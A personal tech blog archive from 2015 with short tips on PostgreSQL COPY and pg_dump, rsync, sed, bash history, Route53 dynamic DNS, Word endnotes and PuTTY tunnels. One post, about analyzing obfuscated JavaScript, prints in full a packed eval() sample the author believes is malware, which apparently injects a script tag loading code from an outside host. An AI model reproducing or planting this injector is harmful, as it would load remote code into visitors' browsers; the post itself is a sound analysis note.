Monday, November 30, 2015

using the COPY command in psql client (postgresql)

Useful to export/import data

Here is the syntax for COPY, as returned by the 8.3 client:
db=# \h COPY
Command:     COPY
Description: copy data between a file and a table
Syntax:
COPY tablename [ ( column [, ...] ) ]
    FROM { 'filename' | STDIN }
    [ [ WITH ] 
          [ BINARY ]
          [ OIDS ]
          [ DELIMITER [ AS ] 'delimiter' ]
          [ NULL [ AS ] 'null string' ]
          [ CSV [ HEADER ]
                [ QUOTE [ AS ] 'quote' ] 
                [ ESCAPE [ AS ] 'escape' ]
                [ FORCE NOT NULL column [, ...] ]

COPY { tablename [ ( column [, ...] ) ] | ( query ) }
    TO { 'filename' | STDOUT }
    [ [ WITH ] 
          [ BINARY ]
          [ OIDS ]
          [ DELIMITER [ AS ] 'delimiter' ]
          [ NULL [ AS ] 'null string' ]
          [ CSV [ HEADER ]
                [ QUOTE [ AS ] 'quote' ] 
                [ ESCAPE [ AS ] 'escape' ]
                [ FORCE QUOTE column [, ...] ]

Sunday, November 29, 2015

Re Blog - Remove the Endnote Separator Line in Word 2013

I finally found a way to remove the annoying end note separator (line) in Word 2013

It was here:https://uknowit.uwgb.edu/page.php?id=50456

  1. Go to View->Draft
  2. References->Show Footnotes
  3. Delete the footnote separator
VoilĂ !

Remove the Endnote Separator Line in Word 2013

Follow these steps to remove the Endnote separator line in Word 2013.
  1. Below is an example of an endnote separator line. (Below the words "Human Resources") *Note the endnotes are in green.

    Endnote1.png
  2. Select the View tab. From the Views group, select Draft.

    Endnote2.png
  3. To display the Endnote options, select the Reference tab, and then "Show Notes" from the Footnotes group.

    EndNote3.png


  4. From the Endnotes drop-down box, select "Endnote Separator".  Select the separator line and press your delete key.

    Endnote4.png


  5. Switch back to Page Layout view and note that the separator line has been deleted.

    Endnote5.png

Wednesday, September 30, 2015

Rsync tricks and how to rsync only one type of files by extension

Rsync is a wonderful tool. It has many options.

But to sync only a file type among many files in a dir eluded me.

After some googling I found this command:

rsync -rv --include '*/' --include '*.js' --exclude '*' --prune-empty-dirs Source/ Target/

I found it on this blog: https://silentorbit.com/notes/2013/08/rsync-by-extension/

How to rsync only one type of files by extension

Having a file structure full of various file types you want to sync only files of one type into a new location.
rsync -rv --include '*/' --include '*.js' --exclude '*' --prune-empty-dirs Source/ Target/
This will generate the same structure found in Source into Target but only including the JavaScript(.js) files.
Note the usage of ' around the arguments containing * since we don't want it to be expanded in a bash shell.
The first --include '*/' is to make sure sub-directories are scanned. This would also include all directories does not include the file you want resulting in empty directories in Target. To remove these empty directories we use --prune-empty-dirs
The --include '*.js' is rather self explanatory, and you can add more as you need.
Finally we exclude all other files we don't want using --exclude '*'


Thank you very much!

Monday, August 3, 2015

Owner of tables in postgresql

I though of re blogging this: http://cully.biz/2013/12/11/postgresql-getting-the-owner-of-tables/

Although for some strange reason the particular table I want to know the owner does not appear in the list, yet all other ones do (oh, Murphy!)

select t.table_name, t.table_type, c.relname, c.relowner, u.usename
from information_schema.tables t
join pg_catalog.pg_class c on (t.table_name = c.relname)
join pg_catalog.pg_user u on (c.relowner = u.usesysid)
where t.table_schema='public';

Thursday, June 25, 2015

How to analyze obfuscated javascript to see if it's malware


UPDATE: I think know that the ClamAV antivirus tool is much better way to deal with this...

I had to analyze a obfuscated javascript code.

I found a nifty tool to do the job: http://wepawet.iseclab.org/

Here are before... this I believe is malware...

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('12(T(p,a,c,k,e,d){e=T(c){U(c<a?\'\':e(1f(c/a)))+((c=c%a)>1e?W.1d(c+1h):c.13(11))};X(!\'\'.V(/^/,W)){Y(c--){d[e(c)]=k[c]||e(c)}k=[T(e){U d[e]}];e=T(){U\'\\\\w+\'};c=1};Y(c--){X(k[c]){p=p.V(10 14(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}U p}(\'v(l(p,a,c,k,e,d){e=l(c){m c.n(z)};q(!\\\'\\\'.t(/^/,B)){r(c--){d[c.n(a)]=k[c]||c.n(a)}k=[l(e){m d[e]}];e=l(){m\\\'\\\\\\\\w+\\\'};c=1};r(c--){q(k[c]){p=p.t(C D(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c])}}m p}(\\\'1 4=4||[];(b(){1 2=5.e(\\\\\\\'7\\\\\\\');2.a=\\\\\\\'8://9.d.f/k.6?//i.6?g\\\\\\\';1 3=5.j(\\\\\\\'7\\\\\\\')[0];3.h.c(2,3)})();\\\',o,o,\\\'|y|u|s|E|x|A|G|Q|N|P|l|R|S|O|L|M|F|H|I|K\\\'.J(\\\'|\\\'),0,{}))\',Z,Z,\'|||||||||||||||||||||T|U|13|17||X|Y||V|1m|12||1q|1r|11|1n|W|10|14|1l|1o|1c|1k|1i|15|1j|1s|1p|1g|19|18|16|1b|1a\'.15(\'|\'),0,{}))',62,91,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|replace|String|if|while|55|new|36|eval|toString|RegExp|split|http|21|src|createElement|tongjii|insertBefore|script|fromCharCode|35|parseInt|lib|29|getElementsByTagName|tj|google|_hmt_en|hm_en|js|parentNode|41d12a21b4e1a726d4a651685b118811662033874|document|var|us'.split('|'),0,{}))


Friday, June 12, 2015

exporting schema's create tables only from postgres

I wanted to export only the CREATE TABLEs from a postgresql database, so I did

pg_dump -h HOST -s databasename -O -U user -W | awk 'RS="";/CREATE TABLE[^;]*;/' 

substituting a function name with sed and find

I needed to change a

function foo('', '', 'whatever') 

to a

bar('whatever')

in a bunch of files.

There are many ways to do this, I decided to edit directly the files with good ol' find & sed

find . -name "*.js" -exec sed --in-place -re "s/foo\([^,]*,[^,]*,[^'\"]*(['\"])(.*)\1/bar('\2')/g" {} \;

options:
-r: Key points where to use the full extended regular expression
-r: expression
\1: notice I match the initial ' or " with a back reference!

Tuesday, May 19, 2015

force basg to write history after each command in bash console linux/psql client

This is the reductio

in bash.bashrc or .bashrc find and substitute accordingl

shopt -s histappend
PROMPT_COMMAND = ...whatever you already have ....
PROMPT_COMMAND="history -a;$PROMPT_COMMAND"

Wednesday, April 1, 2015

Updating dynamic IP (A record) from a hosted zone on Amazon's Route53 (AWS R53)

One of my servers has a dynamic IP. I needed to update AWS R53 service to point at the new IP whenever it changes.

I found this script https://github.com/holgr/php-ddns53 which is a PHP script that you can put in cron to update R53 on a minute basis.

I installed it today, we'll see how it works.

I imagine that a better way to do it would be to use AWS to check if the domain is down (maybe because its pointing to the wrong IP), and in that case use this PHP script.

But this quick-n-dirty should be enough.

how to configure Firefox to use an SSH tunnel with putty

It's pretty straight forward.

Open putty, configure you session by going to this screen, configure as you see and click Add.




Then on Firefox, go to Tools->Option->Advanced->Network, and configure as seen here (if you used other port than 1234, be sure to put it here accordingly):




Click OK and that's it!

Now you have to connect to the putty session you configured and voilĂ .